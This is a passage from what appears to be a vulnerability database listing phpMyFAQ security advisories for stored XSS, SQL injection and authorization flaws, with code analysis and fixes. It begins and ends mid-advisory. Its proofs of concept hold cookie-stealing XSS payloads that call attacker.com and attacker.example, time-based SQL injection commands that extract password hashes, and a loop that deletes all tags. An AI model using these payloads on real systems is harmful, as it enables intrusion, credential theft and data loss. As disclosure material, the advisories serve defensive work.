application/json' \ -H 'Cookie: PHPSESSID=<editor_session>' \ -d '{ "data": { "pmf-csrf-token": "<valid_csrf_token>", "question": "<svg onload=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)>", "answer": "<img src=x onerror=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)>", "lang": "en", "categories[]": 1, "active": "yes", "tags": "test", "keywords": "searchable-keyword", "author": "attacker", "email": "attacker@example.com" } }' ``` **Step 2 — Trigger XSS as victim:** ``` https://target.example.com/search.html?search=searchable-keyword ``` The search result page renders the restored `<svg onload=...>` payload. The attacker's server receives the victim's session cookie. **Alternative payloads (for WAF bypass):** ```html <details open ontoggle=alert(document.cookie)> <iframe srcdoc="&lt;script&gt;parent.location='https://attacker.com/?c='+document.cookie&lt;/script&gt;"> ``` --- ## Impact - **Confidentiality :** Session cookie exfiltration and credential theft via JavaScript execution in victim's browser context. - **Integrity :** DOM manipulation, phishing overlay injection. - **Scope :** Attack crosses from contributor privilege context to all site visitors, including administrators. --- ## Recommended Fix ### Fix 1 (Critical) — Remove `| raw` from user-controlled fields in `search.twig` ```diff - <a href="{{ result.url }}">{{ result.question | raw }}</a> - <small>{{ result.answerPreview | raw }}...</small> + <a href="{{ result.url }}">{{ result.question }}</a> + <small>{{ result.answerPreview }}...</small> ``` If HTML formatting must be preserved, apply a whitelist-based sanitizer (e.g., `ezyang/htmlpurifier`) **before** passing data to the template, then retain `| raw` only for purified output. ### Fix 2 (Critical) — Remove `html_entity_decode()` from search result pipeline `SearchController.php` ```diff - $data->answer = html_entity_decode( - strip_tags((string) $data->answer), - ENT_COMPAT, - encoding: 'utf-8' - ); + $data->answer = strip_tags((string) $data->answer); $data->answer = Utils::makeShorterText(string: $data->answer, characters: 12); ``` ### Fix 3 (Recommended) — Audit all `| raw` usages in `search.twig` The following additional `| raw` instances should be reviewed and sanitized: ```twig {{ searchTags | raw }} → apply HTML Purifier or remove | raw {{ relatedTags | raw }} → apply HTML Purifier or remove | raw {{ pagination | raw }} → safe only if generated entirely server-side with no user input ``` ### Fix 4 (Preventive) — Add `htmlspecialchars()` in `logSearchTerm()` ```diff $this->configuration->getDb()->escape($searchTerm) + htmlspecialchars( + $this->configuration->getDb()->escape($searchTerm), + ENT_QUOTES | ENT_HTML5, + 'UTF-8' + ) ``` --- |
Affected by 1 other vulnerability. |
|
VCID-nbs3-9fx9-p7en
Aliases: GHSA-289f-fq7w-6q2w |
phpMyFAQ has unauthenticated SQL injection via User-Agent header in BuiltinCaptcha ## Summary `BuiltinCaptcha::garbageCollector()` and `BuiltinCaptcha::saveCaptcha()` at `phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:298` and `:330` interpolate the `User-Agent` header and client IP address into DELETE and INSERT queries with `sprintf` and no escaping. Both methods run on every hit to the public `GET /api/captcha` endpoint, which requires no authentication. An unauthenticated attacker sets the `User-Agent` header to a crafted SQL payload and runs `SLEEP()`, `BENCHMARK()`, or time-based blind extraction against the database that backs phpMyFAQ. Verified live against 4.2.0-alpha (master at `b9f25109`): baseline request 147 ms, request with `User-Agent: x' OR SLEEP(2) OR 'x` 4.09 s (two `SLEEP(2)` calls, one per vulnerable sink). ## Details `phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:112` populates two private fields from untrusted HTTP input at construction time: ```php $this->userAgent = $request->headers->get('user-agent'); $this->ip = $request->getClientIp(); ``` Both fields are then dropped into `sprintf()` SQL templates without ever touching `Database::escape()` or a prepared statement. `garbageCollector()` at line 298 (called on every captcha request via `getCaptchaImage()`): ```php $delete = sprintf( " DELETE FROM %sfaqcaptcha WHERE useragent = '%s' AND language = '%s' AND ip = '%s'", Database::getTablePrefix(), $this->userAgent, // unescaped $this->configuration->getLanguage()->getLanguage(), $this->ip, // unescaped ); $this->configuration->getDb()->query($delete); ``` `saveCaptcha()` at line 330 does the same for INSERT: ```php $insert = sprintf( "INSERT INTO %sfaqcaptcha (id, useragent, language, ip, captcha_time) VALUES ('%s', '%s', '%s', '%s', %d)", Database::getTablePrefix(), $this->code, $this->userAgent, // unescaped $this->configuration->getLanguage()->getLanguage(), $this->ip, // unescaped $this->timestamp, ); $this->configuration->getDb()->query($insert); ``` For comparison, the same file's `checkCaptchaCode()` at line 472 passes user input through `$db->escape()` before interpolation. The `BuiltinCaptcha` author knew about `escape()`; the two sinks above skip it. ### Reachability `phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/CaptchaController.php:39` exposes the vulnerable flow as an unauthenticated GET: ```php #[Route(path: 'captcha', name: 'api.private.captcha', methods: ['GET'])] public function renderImage(): Response { if (!$this->captcha instanceof BuiltinCaptcha) { return new Response('', Response::HTTP_NOT_FOUND); } // ... $response->setContent($this->captcha->getCaptchaImage()); return $response; } ``` `getCaptchaImage()` calls `saveCaptcha()` and `garbageCollector()` unconditionally. No CSRF token, session, or rate limit gates the request. Any unauthenticated user hitting `GET /api/captcha` injects into two queries at once. ### Impact surface MySQL's `query()` method executes one statement per call, so the attacker cannot stack queries. Time-based blind extraction with `SLEEP()` or `BENCHMARK()` still works, and the attacker can: - Read any row the web user has access to through bit-by-bit `IF(SUBSTR((SELECT ...),1,1)='a', SLEEP(1), 0)` chains. The `faquser` table holds `auth_source`, `login`, and bcrypt password hashes for every registered user; `faqconfig` holds the `main.phpMyFAQToken` admin token and SMTP credentials. - `UPDATE` / `DELETE` arbitrary rows in the same connection's privilege scope using payloads that rewrite the DELETE's WHERE clause (for example, `User-Agent: ' OR 1=1 -- ` deletes the entire `faqcaptcha` table and locks out legitimate users). ## Proof of Concept Tested against phpMyFAQ 4.2.0-alpha at master `b9f25109fddb38eee19987183798638d07943f92`, default install (MariaDB 10.6, Apache, PHP 8.4) on `http://target:8090`. Step 1: Baseline request with a clean `User-Agent`: ```bash time curl -sS -o /dev/null -w "HTTP %{http_code} %{time_total}s\n" \ -A "Mozilla/5.0" \ "http://target:8090/api/captcha?nocache=1" # HTTP 500 0.147s ``` Step 2: Injection with `SLEEP(2)` in the User-Agent: ```bash time curl -sS -o /dev/null -w "HTTP %{http_code} %{time_total}s\n" \ -A "x' OR SLEEP(2) OR 'x" \ "http://target:8090/api/captcha?nocache=2" # HTTP 500 4.093s ``` The 4.09 s response time equals two `SLEEP(2)` executions, confirming the payload reached both the `DELETE` in `garbageCollector()` and the `INSERT` in `saveCaptcha()`. Step 3: Single-bit boolean extraction using time: ```bash # leaks first character of the admin hash; 2s = 'a', 0s = otherwise curl -sS -o /dev/null -A "x' OR IF(SUBSTR((SELECT pass FROM faquser LIMIT 1),1,1)='a',SLEEP(2),0) OR 'x" \ "http://target:8090/api/captcha?nocache=3" ``` Iterating position and character enables full credential exfiltration without any authentication. ## Impact Unauthenticated remote SQL injection against the primary phpMyFAQ datastore. In a default install the attacker reads every user credential hash, the admin token, SMTP credentials stored in `faqconfig`, and every FAQ row (including ones marked private or permission-scoped). DELETE-path payloads also tamper with or wipe arbitrary rows in the connection's scope. There is no authentication, CSRF token, or rate limit in front of `/api/captcha`. ## Recommended Fix Route both fields through `Database::escape()` before interpolation, or replace the `sprintf` + `query()` pattern with a prepared statement. `phpmyfaq/src/phpMyFAQ/Captcha/BuiltinCaptcha.php:298-325`: ```php $db = $this->configuration->getDb(); $userAgent = $db->escape($this->userAgent); $language = $db->escape($this->configuration->getLanguage()->getLanguage()); $ip = $db->escape($this->ip); $delete = sprintf( "DELETE FROM %sfaqcaptcha WHERE useragent = '%s' AND language = '%s' AND ip = '%s'", Database::getTablePrefix(), $userAgent, $language, $ip, ); $db->query($delete); ``` Apply the same change to `saveCaptcha()` at line 330 and to every other `sprintf`-into-SQL path in the file. A targeted audit for `sprintf.*SQL|sprintf.*SELECT|sprintf.*INSERT|sprintf.*UPDATE|sprintf.*DELETE` across `src/phpMyFAQ/` will surface the rest. --- *Found by [aisafe.io](https://aisafe.io)* |
Affected by 1 other vulnerability. |
|
VCID-nvb4-mht6-8kdn
Aliases: CVE-2026-34729 GHSA-cv2g-8cj8-vgc7 |
phpMyFAQ: Stored XSS via Regex Bypass in Filter::removeAttributes() ### Summary The sanitization pipeline for FAQ content is: 1. `Filter::filterVar($input, FILTER_SANITIZE_SPECIAL_CHARS)` — encodes `<`, `>`, `"`, `'`, `&` to HTML entities 2. `html_entity_decode($input, ENT_QUOTES | ENT_HTML5)` — decodes entities back to characters 3. `Filter::removeAttributes($input)` — removes dangerous HTML attributes The `removeAttributes()` regex at line 174 only matches attributes with double-quoted values: ```php preg_match_all(pattern: '/[a-z]+=".+"/iU', subject: $html, matches: $attributes); ``` This regex does NOT match: - Attributes with single quotes: `onerror='alert(1)'` - Attributes without quotes: `onerror=alert(1)` An attacker can bypass sanitization by submitting FAQ content with unquoted or single-quoted event handler attributes. ### Details **Affected File:** `phpmyfaq/src/phpMyFAQ/Filter.php`, line 174 **Sanitization flow for FAQ question field:** `FaqController::create()` lines 110, 145-149: ```php $question = Filter::filterVar($data->question, FILTER_SANITIZE_SPECIAL_CHARS); // ... ->setQuestion(Filter::removeAttributes(html_entity_decode( (string) $question, ENT_QUOTES | ENT_HTML5, encoding: 'UTF-8', ))) ``` **Template rendering:** `faq.twig` line 36: ```twig <h2 class="mb-4 border-bottom">{{ question | raw }}</h2> ``` **How the bypass works:** 1. Attacker submits: `<img src=x onerror=alert(1)>` 2. After `FILTER_SANITIZE_SPECIAL_CHARS`: `<img src=x onerror=alert(1)>` 3. After `html_entity_decode()`: `<img src=x onerror=alert(1)>` 4. `preg_match_all('/[a-z]+=".+"/iU', ...)` runs: - The regex requires `="..."` (double quotes) - `onerror=alert(1)` has NO quotes → NOT matched - `src=x` has NO quotes → NOT matched - No attributes are found for removal 5. Output: `<img src=x onerror=alert(1)>` (XSS payload intact) 6. Template renders with `|raw`: JavaScript executes in browser **Why double-quoted attributes are (partially) protected:** For `<img src="x" onerror="alert(1)">`: - The regex matches both `src="x"` and `onerror="alert(1)"` - `src` is in `$keep` → preserved - `onerror` is NOT in `$keep` → removed via `str_replace()` - Output: `<img src="x">` (safe) But this protection breaks with single quotes or no quotes. ### PoC **Step 1: Create FAQ with XSS payload (requires authenticated admin):** ```bash curl -X POST 'https://target.example.com/admin/api/faq/create' \ -H 'Content-Type: application/json' \ -H 'Cookie: PHPSESSID=admin_session' \ -d '{ "data": { "pmf-csrf-token": "valid_csrf_token", "question": "<img src=x onerror=alert(document.cookie)>", "answer": "Test answer", "lang": "en", "categories[]": 1, "active": "yes", "tags": "test", "keywords": "test", "author": "test", "email": "test@test.com" } }' ``` **Step 2: XSS triggers on public FAQ page** Any user (including unauthenticated visitors) viewing the FAQ page triggers the XSS: ``` https://target.example.com/content/{categoryId}/{faqId}/{lang}/{slug}.html ``` The FAQ title is rendered with `|raw` in `faq.twig` line 36 without HtmlSanitizer processing (the `processQuestion()` method in `FaqDisplayService` only applies search highlighting, not `cleanUpContent()`). **Alternative payloads:** ```html <img/src=x onerror=alert(1)> <svg onload=alert(1)> <details open ontoggle=alert(1)> ``` ### Impact - **Public XSS:** The XSS executes for ALL users viewing the FAQ page, not just admins. - **Session hijacking:** Steal session cookies of all users viewing the FAQ. - **Phishing:** Display fake login forms to steal credentials. - **Worm propagation:** Self-replicating XSS that creates new FAQs with the same payload. - **Malware distribution:** Redirect users to malicious sites. **Note:** While planting the payload requires admin access, the XSS executes for all visitors (public-facing). This is not self-XSS. |
Affected by 13 other vulnerabilities. |
|
VCID-p8pd-8q9q-1kad
Aliases: GHSA-99qv-g4x9-mgc3 |
phpMyFAQ has unauthenticated FAQ permission bypass via getFaqBySolutionId fallback query ## Summary The public `/solution_id_{id}.html` route calls `Faq::getIdFromSolutionId()` in `phpmyfaq/src/phpMyFAQ/Faq.php:1312`. That query joins `faqdata` with `faqcategoryrelations` solely by `solution_id` and returns the matching FAQ's `id`, `lang`, `thema` (title), and `category_id` with no permission filter. An unauthenticated visitor hits the route with a sequential integer and the server 301-redirects to `/content/<category>/<id>/<lang>/<title-slug>.html`, leaking the FAQ's existence, internal id, language, category binding, and title via the redirect's `Location` header and the redirected page's canonical link, share-to-social URLs, and hidden form fields. The related `getFaqBySolutionId()` at line 1221 contains an explicit fallback query (added "for tests") that also bypasses the permission filter, widening the blast radius to any callsite that trusts its result. ## Details ### The sink: `getIdFromSolutionId()` has no permission filter `phpmyfaq/src/phpMyFAQ/Faq.php:1312`: ```php public function getIdFromSolutionId(int $solutionId): array { $query = sprintf( 'SELECT fd.id, fd.lang, fd.thema AS question, fd.content, fcr.category_id FROM %sfaqdata fd LEFT JOIN %sfaqcategoryrelations fcr ON fd.id = fcr.record_id AND fd.lang = fcr.record_lang WHERE fd.solution_id = %d', Database::getTablePrefix(), Database::getTablePrefix(), $solutionId, ); // ... } ``` No `WHERE`-clause permission filter, no group/user filter. Every callsite that trusts this method exposes restricted FAQs. The route at `phpmyfaq/src/phpMyFAQ/Controller/Frontend/FaqController.php:172` uses this result to compute a slugified URL and 301-redirects to it: ```php #[Route(path: '/solution_id_{solutionId}.html', name: 'public.faq.solution', methods: ['GET'])] public function solution(Request $request): Response { $solutionId = Filter::filterVar($request->attributes->get('solutionId'), FILTER_VALIDATE_INT, 0); // ... $faqData = $this->faq->getIdFromSolutionId($solutionId); if ($faqData === []) { return new Response('', Response::HTTP_NOT_FOUND); } $slug = TitleSlugifier::slug($faqData['question']); $url = sprintf('/content/%d/%d/%s/%s.html', $faqData['category_id'], $faqData['id'], $faqData['lang'], $slug); return new RedirectResponse($url, Response::HTTP_MOVED_PERMANENTLY); } ``` The redirect URL embeds the title slug, so an unauthenticated visitor observes the title directly even though the canonical `/content/<...>.html` page may deny rendering the body. ### Related sink: `getFaqBySolutionId()` explicitly falls back without the filter `phpmyfaq/src/phpMyFAQ/Faq.php:1256-1265`: ```php if (false === $row || null === $row) { // Fallback without permission filter to ensure retrieval in non-authenticated contexts (e.g., tests) $fallbackQuery = sprintf( 'SELECT * FROM %sfaqdata fd WHERE fd.solution_id = %d LIMIT 1', Database::getTablePrefix(), $solutionId, ); $fallbackResult = $this->configuration->getDb()->query($fallbackQuery); $row = $this->configuration->getDb()->fetchObject($fallbackResult); } ``` The inline comment confirms the fallback was introduced for test convenience. In production, the fallback fires exactly when the permission-filtered query returns zero rows (because the caller is unauthenticated or lacks group/user permission) and populates every field of `faqRecord`, including `content`, `keywords`, `author`, `email`, and `notes`. Downstream consumers that expect `faqRecord` to respect ACLs no longer do. ### Entry enumeration Solution IDs are monotonically increasing integers (`faqdata.solution_id`). An attacker enumerates `/solution_id_<n>.html` from 1 upward and records every non-404 response to discover the full set of FAQs on the instance, including ones restricted to admin-only groups or specific users. ## Proof of Concept Prerequisites: a phpMyFAQ instance has at least one FAQ record restricted to a specific user or group via `faqdata_user` / `faqdata_group`. Note its `solution_id`, which is assigned sequentially starting from a six-digit base. Step 1. Anonymous GET of the solution URL: ```bash curl -sS -L -o /tmp/out.html -w 'HTTP %{http_code}\n' \ 'http://<host>/solution_id_<restricted-solution-id>.html' ``` Step 2. Observe the 301 redirect that `getIdFromSolutionId()` returns. The `Location` header carries the slugified title of the restricted FAQ directly in the URL path: ``` HTTP/1.1 301 Moved Permanently Location: /content/<category-id>/<record-id>/<lang>/<title-slug>.html ``` Step 3. The redirected content page embeds the same metadata in client-controlled sinks, even when the body rendering is suppressed by a separate permission check: ```html <link rel="canonical" href="http://<host>/content/<category-id>/<record-id>/<lang>/<title-slug>.html"> <input type="hidden" name="voting-id" value="<record-id>"> <a href="http://<host>/pdf/<category-id>/<record-id>/<lang>">...</a> ``` Step 4. Enumerate solution IDs to discover every FAQ on the instance, including those the permission model intended to hide: ```bash for id in $(seq 1 100000); do code=$(curl -sS -o /dev/null -w '%{http_code}' "http://<host>/solution_id_${id}.html") if [ "$code" = "301" ]; then loc=$(curl -sSI "http://<host>/solution_id_${id}.html" | awk -F': ' '/^Location:/{print $2}' | tr -d '\r') echo "solution_id=${id} -> ${loc}" fi done ``` Each `301` response's `Location` header reveals category, id, language, and title of a FAQ whose existence the permission model meant to hide. ## Impact Any unauthenticated visitor discovers the full set of FAQ entries on the instance, including the subset restricted to specific groups or users, and reads the title of every restricted FAQ. Deployments that use phpMyFAQ to host internal-only content alongside public content (staff knowledge bases, internal SOPs, confidential customer notes) lose the confidentiality of titles and of the fact that those FAQs exist. Slugified titles often encode the subject directly (for example `q3-layoff-plan`, `aws-root-key-rotation`), so the title alone can be sensitive. The body content is usually still served through a separate permission-enforcing path on the canonical `/content/<...>.html` URL, so full-body disclosure requires the caller to also defeat that path (for example by combining with a session from any low-privilege account). The title-plus-existence leak is sufficient on its own to harm confidentiality in deployments where titles encode what the FAQ is about. `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N` (Medium, 5.3). CWE-863. ## Recommended Fix Add a permission filter to `getIdFromSolutionId()` the same way `getFaqBySolutionId()` builds one for its primary query (using `QueryHelper::queryPermission()`): ```php public function getIdFromSolutionId(int $solutionId): array { $queryHelper = new QueryHelper($this->user, $this->groups); $query = sprintf( 'SELECT fd.id, fd.lang, fd.thema AS question, fd.content, fcr.category_id FROM %sfaqdata fd LEFT JOIN %sfaqcategoryrelations fcr ON fd.id = fcr.record_id AND fd.lang = fcr.record_lang LEFT JOIN ( SELECT record_id, group_id FROM %sfaqdata_group fdg WHERE fdg.group_id <> -1 UNION ALL SELECT fd.id AS record_id, -1 AS group_id FROM %sfaqdata fd WHERE fd.solution_id = %d ) AS fdg ON fd.id = fdg.record_id LEFT JOIN %sfaqdata_user fdu ON fd.id = fdu.record_id WHERE fd.solution_id = %d %s', Database::getTablePrefix(), Database::getTablePrefix(), Database::getTablePrefix(), Database::getTablePrefix(), $solutionId, Database::getTablePrefix(), $solutionId, $queryHelper->queryPermission($this->groupSupport), ); // ... } ``` Separately, remove the unconditional fallback in `getFaqBySolutionId()` at `Faq.php:1256-1265`. If the permission-filtered query returns no rows, the FAQ is not visible to this caller; the method should leave `faqRecord` empty rather than re-query without the filter. If tests rely on the old behavior, replace the production fallback with a dedicated test helper or a flag that is disabled outside test bootstrap. --- *Found by [aisafe.io](https://aisafe.io)* |
Affected by 1 other vulnerability. |
|
VCID-qqc4-rvtj-97h5
Aliases: GHSA-pm8c-3qq3-72w7 |
phpMyFAQ has SQL Injection in CurrentUser::setTokenData through unescaped OAuth token fields ## Summary `CurrentUser::setTokenData()` in `phpmyfaq/src/phpMyFAQ/User/CurrentUser.php` at lines 515-534 builds a SQL UPDATE statement with `sprintf` and interpolates OAuth token fields (`refresh_token`, `access_token`, `code_verifier`, and `json_encode($token['jwt'])`) without calling `$db->escape()`. Sibling methods `setAuthSource()` and `setRememberMe()` in the same file do call `$db->escape()` on user-controlled values, so the omission is local to this method. An attacker (Bob) whose Azure AD display name contains a single quote (for example `O'Brien`, or a deliberate SQL payload) breaks out of the string literal and injects arbitrary SQL against the phpMyFAQ database. ## Details **Vulnerable code** (`phpmyfaq/src/phpMyFAQ/User/CurrentUser.php`, lines 513-534): ```php public function setTokenData(#[\SensitiveParameter] array $token): bool { $update = sprintf( " UPDATE %sfaquser SET refresh_token = '%s', access_token = '%s', code_verifier = '%s', jwt = '%s' WHERE user_id = %d", Database::getTablePrefix(), $token['refresh_token'], $token['access_token'], $token['code_verifier'], json_encode($token['jwt'], JSON_THROW_ON_ERROR), $this->getUserId(), ); return (bool) $this->configuration->getDb()->query($update); } ``` `json_encode()` does NOT escape single quotes. A JWT claim such as `{"preferred_username": "O'Malley"}` produces `{"preferred_username":"O'Malley"}` after `json_encode`, which terminates the SQL string literal at the apostrophe. **Correct pattern in the same file** (`setAuthSource`, line 458-461): ```php $update = sprintf( "UPDATE %sfaquser SET auth_source = '%s' WHERE user_id = %d", Database::getTablePrefix(), $this->configuration->getDb()->escape($authSource), $this->getUserId(), ); ``` `setRememberMe()` (line 471-478) follows the same safe pattern with `$db->escape()`. **Reachability**: The phpMyFAQ Azure AD (Entra ID) OAuth flow calls `setTokenData()` after token exchange. The token response includes an `id_token` whose payload originates from the identity provider. An attacker registers a Microsoft account with a display name or custom claim containing SQL metacharacters. When that user logs into a phpMyFAQ instance with Azure AD auth enabled, the malicious claim flows into the UPDATE without sanitization. ## Proof of Concept Prerequisites: phpMyFAQ instance with Azure AD / Entra ID authentication enabled. 1. Bob registers an Azure AD account with display name `x]","email":"x',(SELECT SLEEP(5)))-- -`. 2. Bob initiates the OAuth login flow on the target phpMyFAQ. 3. After authorization, the token endpoint returns a JWT with the crafted claim. 4. phpMyFAQ calls `setTokenData()` with the unsanitized token array. The resulting SQL becomes: ```sql UPDATE faquser SET refresh_token = '<valid>', access_token = '<valid>', code_verifier = '<valid>', jwt = '{"preferred_username":"x',(SELECT SLEEP(5)))-- -"}' WHERE user_id = 42 ``` The single quote after `x` closes the `jwt` string literal. Everything after it executes as attacker-controlled SQL. 5. To confirm time-based blind injection locally (requires modifying the OAuth token response in a proxy): ```python import requests # Simulates what happens when the crafted JWT claim reaches the DB # In production, this happens automatically through the OAuth flow payload = "x'||(SELECT SLEEP(5))||'" # The interpolated query will pause for 5 seconds, confirming injection print(f"Injected jwt value: {payload}") print("If the login takes 5+ seconds longer than normal, injection succeeded.") ``` ## Impact An attacker who can authenticate via Azure AD with a crafted claim achieves arbitrary SQL execution on the phpMyFAQ database. This permits reading all FAQ data (including restricted entries), modifying or deleting content, and extracting password hashes and session tokens of all users including administrators. **CWE**: CWE-89 (SQL Injection) ## Recommended Fix Escape all interpolated values using `$this->configuration->getDb()->escape()`, matching the pattern used by `setAuthSource()` and `setRememberMe()` in the same file: ```php public function setTokenData(#[\SensitiveParameter] array $token): bool { $db = $this->configuration->getDb(); $update = sprintf( " UPDATE %sfaquser SET refresh_token = '%s', access_token = '%s', code_verifier = '%s', jwt = '%s' WHERE user_id = %d", Database::getTablePrefix(), $db->escape($token['refresh_token']), $db->escape($token['access_token']), $db->escape($token['code_verifier']), $db->escape(json_encode($token['jwt'], JSON_THROW_ON_ERROR)), $this->getUserId(), ); return (bool) $db->query($update); } ``` --- *Found by [aisafe.io](https://aisafe.io)* |
Affected by 1 other vulnerability. |
|
VCID-rtvb-fx4h-13h5
Aliases: GHSA-f5p7-2c9q-8896 |
phpMyFAQ has Stored XSS in FAQ Question/Answer via Encode-Decode Bypass of removeAttributes() Sanitization ## Summary The FAQ creation and update endpoints in phpMyFAQ apply `FILTER_SANITIZE_SPECIAL_CHARS` (which HTML-encodes input), then immediately call `html_entity_decode()` which reverses the encoding, followed by `Filter::removeAttributes()` which only strips HTML attributes — not tags. This allows `<script>`, `<iframe>`, `<object>`, and `<embed>` tags to be stored in the database and rendered unescaped via `{{ answer|raw }}` and `{{ question|raw }}` in the Twig template, causing JavaScript execution in every visitor's browser. ## Details **Vulnerable code path (FAQ create — `FaqController.php`):** At line 120, the answer content is filtered: ```php $content = Filter::filterVar($data->answer, FILTER_SANITIZE_SPECIAL_CHARS); ``` `Filter::filterVar()` calls `filterSanitizeString()` (`Filter.php:135-144`) which applies `htmlspecialchars()`, converting `<script>` to `<script>`. The regex `/\x00|<[^>]*>?/` then finds no literal angle brackets to strip. At lines 150-154, the encoded content is decoded and passed to attribute-only sanitization: ```php ->setAnswer(Filter::removeAttributes(html_entity_decode( (string) $content, ENT_QUOTES | ENT_HTML5, encoding: 'UTF-8', ))) ``` `html_entity_decode()` converts `<script>` back to `<script>`, fully reversing the earlier sanitization. `Filter::removeAttributes()` (`Filter.php:150-196`) only matches and strips `attribute=value` patterns from a known list of HTML attributes (event handlers like `onclick`, `onerror`, etc.) but performs **no tag-level filtering**. A `<script>` tag with no attributes passes through completely unchanged. The identical pattern exists in the update endpoint at lines 389-398. **Rendering sink (`faq.twig`):** ```twig <h2 class="mb-4 border-bottom">{{ question | raw }}</h2> <article class="pmf-faq-body pb-4 mb-4 border-bottom">{{ answer|raw }}</article> ``` The `|raw` filter disables Twig's auto-escaping, causing the stored `<script>` tag to execute in every visitor's browser. Additional rendering sinks exist in `search.twig` (line 75, 77) where search results also render FAQ content with `|raw`. ## PoC **Prerequisites:** Authenticated session with `FAQ_ADD` permission and a valid CSRF token. **Step 1: Create a malicious FAQ** ```bash curl -X POST 'https://target/admin/api/faq/create' \ -H 'Cookie: PHPSESSID=<admin_session>' \ -H 'Content-Type: application/json' \ -d '{ "data": { "pmf-csrf-token": "<valid_csrf_token>", "question": "Harmless FAQ Title", "answer": "Helpful content<script>fetch(\"https://attacker.example/steal?c=\"+document.cookie)</script>", "categories[]": 1, "lang": "en", "tags": "", "active": "yes", "sticky": "no", "keywords": "test", "author": "Admin", "email": "admin@example.com", "comment": "n", "changed": "Initial", "notes": "", "serpTitle": "Harmless FAQ", "serpDescription": "Test", "openQuestionId": 0, "notifyEmail": "", "notifyUser": "", "recordDateHandling": "updateDate" } }' ``` **Expected response:** `200 OK` with the new FAQ ID. **Step 2: Verify XSS execution** Navigate to the public FAQ page (e.g., `https://target/content/1/{faqId}/en/harmless-faq-title.html`). The `<script>` tag in the answer body executes, sending the visitor's cookies to the attacker's server. ## Impact - **Session hijacking:** An attacker with FAQ creation privileges can steal session cookies from any user (including administrators) who views the FAQ, enabling full account takeover. - **Phishing:** The injected script can modify page content to display fake login forms or redirect users to malicious sites. - **Worm propagation:** If the attacker captures an admin session, they can create additional malicious FAQs automatically, spreading the attack. - **Scope:** Every unauthenticated visitor who views the compromised FAQ is affected. The XSS also fires in search results via `search.twig`. ## Recommended Fix Replace the encode→decode→removeAttributes chain with a proper HTML sanitizer that operates on the DOM level. Use a library like [HTML Purifier](http://htmlpurifier.org/) or Symfony's [HtmlSanitizer](https://symfony.com/doc/current/html_sanitizer.html) component. **Immediate fix — add tag-level filtering to `removeAttributes()`** (`Filter.php`): ```php public static function removeAttributes(string $html = ''): string { // Strip dangerous HTML tags entirely $dangerousTags = ['script', 'iframe', 'object', 'embed', 'applet', 'form', 'base', 'link', 'meta']; foreach ($dangerousTags as $tag) { $html = preg_replace('/<' . $tag . '\b[^>]*>.*?<\/' . $tag . '>/is', '', $html); $html = preg_replace('/<' . $tag . '\b[^>]*\/?>/is', '', $html); } // Also sanitize javascript: URIs in href/src attributes $html = preg_replace('/\b(href|src)\s*=\s*["\']?\s*javascript:/i', '$1="', $html); $keep = [ 'href', 'src', 'title', 'alt', 'class', 'style', 'id', 'name', 'size', 'dir', 'rel', 'rev', 'target', 'width', 'height', 'controls', ]; // ... rest of existing attribute removal logic ``` **Recommended long-term fix:** Replace custom sanitization with Symfony's HtmlSanitizer, which is already a project dependency ecosystem: ```php use Symfony\Component\HtmlSanitizer\HtmlSanitizer; use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig; $config = (new HtmlSanitizerConfig()) ->allowSafeElements() ->blockElement('script') ->blockElement('iframe') ->blockElement('object') ->blockElement('embed'); $sanitizer = new HtmlSanitizer($config); $cleanAnswer = $sanitizer->sanitize($rawAnswer); ``` |
Affected by 1 other vulnerability. |
|
VCID-ssn9-ur4w-q3g1
Aliases: CVE-2026-24422 GHSA-j4rc-96xj-gvqc |
phpMyFAQ: Public API endpoints expose emails and invisible questions Several public API endpoints return email addresses and non‑public records (e.g. open questions with isVisible=false). |
Affected by 0 other vulnerabilities. Affected by 14 other vulnerabilities. |
|
VCID-t65b-87xm-cbaj
Aliases: GHSA-7cx3-2qx2-3g6w |
phpMyFAQ's Missing Authorization on Tag Deletion Allows Any Authenticated User to Delete Tags ## Summary The `TagController::delete()` endpoint at `DELETE /admin/api/content/tags/{tagId}` only verifies that the user is logged in (`userIsAuthenticated()`), but does not check any permission. Any authenticated user — including regular non-admin frontend users — can delete any tag by ID. This contrasts with `TagController::update()` and `TagController::search()`, which both enforce the `FAQ_EDIT` permission. ## Details In `phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/TagController.php`, the `delete()` method (line 121-133) uses only `$this->userIsAuthenticated()`: ```php #[Route(path: 'content/tags/{tagId}', name: 'admin.api.content.tags.id', methods: ['DELETE'])] public function delete(Request $request): JsonResponse { $this->userIsAuthenticated(); // Only checks isLoggedIn() — no permission check $tagId = (int) Filter::filterVar($request->attributes->get('tagId'), FILTER_VALIDATE_INT); if ($this->tags->delete($tagId)) { return $this->json(['success' => Translation::get(key: 'ad_tag_delete_success')], Response::HTTP_OK); } return $this->json(['error' => Translation::get(key: 'ad_tag_delete_error')], Response::HTTP_BAD_REQUEST); } ``` Compare with `update()` (line 48-71) which properly enforces authorization: ```php public function update(Request $request): JsonResponse { $this->userHasPermission(PermissionType::FAQ_EDIT); // Proper permission check // ... also verifies CSRF token ... } ``` The `userIsAuthenticated()` method in `AbstractController` (line 258-263) only checks `$this->currentUser->isLoggedIn()`: ```php protected function userIsAuthenticated(): void { if (!$this->currentUser->isLoggedIn()) { throw new UnauthorizedHttpException(challenge: 'User is not authenticated.'); } } ``` There is no admin-level middleware in the `Kernel` — it registers only RouterListener, LanguageListener, ControllerContainerListener, and exception listeners. The admin API entry point (`admin/api/index.php`) shares the same bootstrap and session as the frontend, meaning a frontend user's session cookie is valid for admin API requests. Additionally, this endpoint lacks CSRF token verification (unlike `update()`), though the primary issue is the missing authorization since the attack vector is a logged-in user acting directly. ## PoC ```bash # Step 1: Register as a regular user on the phpMyFAQ frontend # (or use any existing non-admin authenticated session) # Step 2: As the authenticated non-admin user, delete tag with ID 1: curl -X DELETE 'https://target.com/admin/api/content/tags/1' \ -H 'Cookie: PHPSESSID=<regular_user_session>' # Expected: 401 or 403 (user lacks FAQ_EDIT permission) # Actual: 200 OK with {"success": "..."} # Step 3: Enumerate and delete all tags: for i in $(seq 1 100); do curl -s -X DELETE "https://target.com/admin/api/content/tags/$i" \ -H 'Cookie: PHPSESSID=<regular_user_session>' done ``` ## Impact Any authenticated user (including regular frontend users who registered through the public registration form) can delete all tags in the 